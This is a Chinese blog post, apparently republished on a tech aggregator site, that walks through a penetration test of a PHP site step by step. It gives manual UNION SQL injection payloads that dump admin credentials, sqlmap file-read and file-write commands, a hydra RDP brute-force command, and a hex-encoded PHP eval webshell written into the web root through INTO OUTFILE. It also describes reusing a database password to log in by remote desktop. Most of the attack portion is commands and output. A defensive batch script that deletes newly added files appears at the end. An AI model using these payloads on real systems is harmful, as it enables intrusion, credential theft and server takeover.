主頁 >  其他 > 記一次峰回路轉的注入

記一次峰回路轉的注入

2023-04-28 10:14:28 其他

0X01 背景

自己之前寫過一篇記錄,當時是由于之前是一位校友剛做開發,叫我友情幫忙測驗一波,由于是開發的新手,漏洞比較多,所以直接從注入開始講起,但是到getshell的程序也算是一場峰回路轉再跌跌撞撞的路程,

0x02 注入測驗

判斷注入是否存在

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='1'

顯示資料

news-2018070902(01).png

 

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 or '1'='2'

顯示非原本資料

news-2018070902(02).png

 

判斷存在sql注入后,通過order by 子句判斷有幾個欄位

Order by 從1開始,大概選個數逐個去嘗試,二分法是最普通的,還可以開根法,還有是方程式法,再好玩一點就動態規劃,推薦下面這篇文章,非常有趣,很好懂,

https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q

試到前一個數回傳正常,后一個報錯,就說明長度是多少了,示例如下

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 27

回傳正常

news-2018070902(03).png

 

那試試payload

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 order by 28

28回傳不正常

news-2018070902(04).png

 

那么可以說明他欄位個數是27,而且后面要用到這個數字,

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

第二步:聯合查詢

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

提交后,可以看到頁面中出現可以被顯示的欄位編號,我們通過在回應位置替換成我們需要的查詢欄位和表就可以了,

news-2018070902(05).png

 

對應的數字就會顯示在頁面中,我把對應數字改成sql陳述句,就會得到sql查詢結果

舉例子:

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27

知識點補充:

database()查看當前資料庫

@@version查詢mysql版本

@@datadir查詢資料庫路徑

我把原來的5,15,21改成查資料庫名,mysql版本,資料路徑,就會在相應的地方顯示出來

news-2018070902(06).png

 

查詢所有資料庫名:group_concat(SCHEMA_NAME)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27 from information_schema.schemata

news-2018070902(07).png

 

查詢當前資料庫所有表名:group_concat(table_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27 from information_schema.tables where table_schema=database()

news-2018070902(08).png

 

上述圖發現表名:admin,

要查詢查詢表中的欄位先把表名轉換為16進制(標黃為表名的16進制轉換值)

group_concat(column_name)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27 from information_schema.columns where table_name=0x61646D696E

news-2018070902(09).png

 

news-2018070902(10).png

 

發現其欄位有

user_id,username,userpassword

下一步只需要查詢username和userpassword即可

group_concat(username,0x7c,userpassword)

http://11X.XX.XXX.XX/test/sub_hack.php?id=229 and 1=2 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27 from admin

news-2018070902(11).png

 

0x03 峰回路轉

到此,我們知道了知道用戶名為admin,密碼為123了

在之前已經在資訊收集的地方收集到后臺了,然后嘗試登陸,登陸成功了

news-2018070902(12).png

 

登進后臺發現,是真的沒有上傳地方阿,也沒有其他包含,redis其他服務,學資訊安全的男生都不會輕易認輸,再查看之前的掃描結果,靈機一動還有一根救命稻草,3389!

nmap -Pn -v -p 3306 11X.XX.XXX.XX

Starting Nmap 7.10 ( https://nmap.org ) at 2015-04-04 22:54

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Initiating SYN Stealth Scan at 22:54

Scanning 11X.XX.XXX.XX [1000 port]

Completed SYN Stealth Scan at 22:54, 0.18s elapsed (1 total ports)

Nmap scan report for 11X.XX.XXX.XX

Host is up (0.013s latency).

PORT STATE SERVICE

80/tcp open http

3306/tcp open mysql

3389/tcp open ms-wbt-server

拿出我的字典,再拿出我的hydra,快速在pentestbox 敲下:

hydra -L F:\cybersec\usrname.txt -P F:\cybersec\ password.txt -Vv -t 1 -w 3 -W 5 11X.XX.XXX.XX rdp

結果跑了自己一個心灰意冷,毫無結果,

 

不過還發現開放3306埠,不是有注入嗎,直接連資料庫getshell呀

太心急想getshell不一步步手工了,sqlmap走起

查看權限

sqlmap -u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user --dbms=mysql -v 3

news-2018070902(14).png

 

current user: 'root@localhost'

當前用戶是root

news-2018070902(15).png

 

引發報錯找到絕對路徑+root權限那我是不是可以寫shell了

sqlmap -r C:\Users\sqlpost.txt --time-sec 3 --dbms=mysql --random-agent -D mysql -T user -C User,Password --dump

news-2018070902(16).png

 

引數:--file-write,--file-dest

當資料庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函式,上傳的檔案可以是文本也可以是二進制檔案,

命令如下:

news-2018070902(17).png

 

news-2018070902(18).png

 

結果去訪問,又給了自己一個心灰意冷,404

news-2018070902(19).png

 

Root密碼md5丟到解密無果,,,

才沒有放棄,醒悟發覺sqlmap有個引數—file-read,發現可以下載頁面檔案

下載下來就是不是能看到資料庫連接的資訊,

 

sqlmap -u http://11X.XX.XXX.XX/test/sub_hack.php?id=231 --file-read "C:\\phpstudy\www\test\sub_hack.php" --dbms=mysql -v 3

news-2018070902(21).png

 

舒服,原始碼到手,同時發現include資料庫連接頁面,以同樣的方法獲取資料庫連接密碼,開放3306直接連上去,

news-2018070902(22).png

 

驚喜,意外

news-2018070902(24).png

 

正常思路應該是這樣的

SELECT 0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTO OUTFILE "C:\phpStudy\WWW\test\shell.php";

直接寫shell上去

不過在這之前我嘗試了下用他資料庫的密碼嘗試去登陸遠程桌面,又一個驚喜,熟悉的對話框,

news-2018070902(25).png

 

然后就到此結束了

0x04 劃重點

后來才知道現在寫shell的函式INTO OUTFILE默認是禁用的了

MySQL在安裝時,默認的限制了檔案匯入匯出的路徑,是通過配置secure_file_priv的值來實作的

SELECT @@global.secure_file_priv;

查詢當前設定的路徑

news-2018070902(26).png

 

只能通過修改組態檔來修改

0x05 文末福利

最近有需求參考寫了一個實時刪新增檔案的批處理檔案,用于對抗賽中防止對手上傳webshell的腳本上傳秒刪,只要保存為bat格式雙擊運行就ok

@echo off&Setlocal enabledelayedexpansion

REM 指定路徑

cd /d C:\Users\\Desktop\1

:clearwebshell

for /r . %%a in (*) do (REM 指定時間,超過此時間的檔案就刪 if "%%~ta" gtr "2018/06/19 21:41" echo had been delete "%%a" )

@ping nullnullnull -n 1 >nul

goto :clearwebshell

更多網安技能的在線實操練習,請點擊這里>>

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551384.html

標籤:其他

上一篇:一次失敗的面試經歷:我只想找個作業,你卻用面試題羞辱我

下一篇:返回列表

標籤雲
其他(158243) Python(38107) JavaScript(25396) Java(18003) C(15217) 區塊鏈(8260) C#(7972) AI(7469) 爪哇(7425) MySQL(7151) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5870) 数组(5741) R(5409) Linux(5332) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4564) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2432) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1961) Web開發(1951) HtmlCss(1928) python-3.x(1918) 弹簧靴(1913) C++(1912) xml(1889) PostgreSQL(1874) .NETCore(1855) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 記一次峰回路轉的注入

    自己之前寫過一篇記錄,當時是由于之前是一位校友剛做開發,叫我友情幫忙測驗一波,由于是開發的新手,漏洞比較多,所以直接從注入開始講起,但是到getshell的程序也算是一場峰回路轉再跌跌撞撞的路程。 ......

    uj5u.com 2023-04-28 10:14:28 more
  • 一次失敗的面試經歷:我只想找個作業,你卻用面試題羞辱我

    面對跳槽的高峰期,很多軟體測驗人員都希望能拿一個滿意的高薪offer,但是隨著招聘職位的不斷增多,面試的難度也隨之加大,而面試官更是會擇優錄取
    小王最近為面試已經焦頭爛額了,他說看著招聘條件里寫的崗位職責、任職要求,幾乎就是為自己量身定制的,滿懷信心的去面試,然而: ......

    uj5u.com 2023-04-28 08:59:15 more
  • 【Docker】鏡像制作和管理

    一、Docker鏡像說明 二、基于容器通過 docker commit 手動制作鏡像 1、基于容器手動制作鏡像步驟 1、下載官方系統鏡像 2、基于官方基礎鏡像啟動容器,并進入容器 3、在容器中進行配置操作 3.1、安裝基礎工具 3.2、配置運行環境 3.3、安裝并配置服務 3.4、存放業務程式代碼 ......

    uj5u.com 2023-04-27 08:31:52 more
  • 吾日三省吾身|最近反思-2023-04-27

    做專案得出對自我的認知 最近接了一個后臺管理的專案,由于自己身處自由狀態,且很多課很多事情沒有完成,也不知這個專案會不會給自己增加物質上的回饋,本身可能由于處女座吧,又不能直接放手,前幾天很是糾結,覺得自己應該做其他更重要的事。昨天想放棄了,但是又不能直接撒手不管,那要是直接放棄了,萬一這件事對人家 ......

    uj5u.com 2023-04-27 08:31:42 more
  • 解決macOSwifi已連接但上不了網的問題

    問題發生條件 剛剛更新macOS 13.3.1(非強相關) 連接的是校園網(可能有關系) 突然發生的,無任何預兆 問題現象 wifi圖示為灰色,且感嘆號 wifi詳情顯示:- 已連接 -無網路連接 - 無ip地址 上不了網,但是連接手機熱點沒問題 解決程序 解決方法1(無用) 忘記wifi,重新連接 ......

    uj5u.com 2023-04-27 08:31:37 more
  • 【飲食與健康】【AIGC創作】表觀生理年齡逆轉指北

    一、引言 我們都知道,歲月不饒人,但是誰又不想在歲月的長河中留下青春的容顏呢?在這個人人都追求健康和美麗的時代,我們的生活節奏卻愈發緊張,高壓的作業和不規律的作息讓我們的身體時刻處于亞健康狀態。這時候,你是不是開始想:“要是有一個方法能讓我變年輕,那該有多好啊!”好訊息是,科學家們已經找到了一個辦法 ......

    uj5u.com 2023-04-27 08:31:30 more
  • SRC相關知識分享

    SRC是企業采用眾測的方式,將企業內部的部分系統開發出來,供社會上散布的白帽子黑客進行滲透測驗,通過獎金和榮譽等激勵措施,鼓勵白帽在黑客在SRC平臺上傳漏洞,以此獲取實時的漏洞,進而第一時間修復漏洞。 ......

    uj5u.com 2023-04-27 08:31:22 more
  • [ML&DL] 正規方程

    正規方程 正規方程用于一次性求解 $\theta$ 的最優值。 在計算的時候,將資料集構造為一個矩陣(第一列為 $x_0$ 均等于$1$): 通過公式: $$ \theta = (X^TX)^{-1}X^Ty $$ 計算得到最優解 $\theta$。 關于$X$的設計 對于第 $i$ 組資料: $$ ......

    uj5u.com 2023-04-27 08:31:15 more
  • 如何在jmeter中把回應中的資料提取出來并參考

    jmeter做介面測驗程序中,經常遇到請求需要用到token的時候,我們可以把回傳token的介面用后置處理器提取出來,但是在這種情況下,只能適用于當前的執行緒組,其他執行緒組無法參考到提取的token變數值,所以必須要生成全域變數讓測驗計劃下的所有執行緒組都可以參考變數。 ......

    uj5u.com 2023-04-27 08:31:02 more
  • 打工人逃不開「單人單崗」

    「閑」到停不下來,「忙」到無事可做! 01 年后開始,研發團隊一直「單人單崗」; 為什么? 就是所謂的追求降本,無非裁員的手段,最終的目的就是讓團隊的人員結構簡化到極致; 雖然符合公司預期,但是與打工人的預期強烈不符; 然而,這不重要; 打工人的難處,老板不一定關心;但是老板的難處,打工人必然被關心 ......

    uj5u.com 2023-04-27 08:30:44 more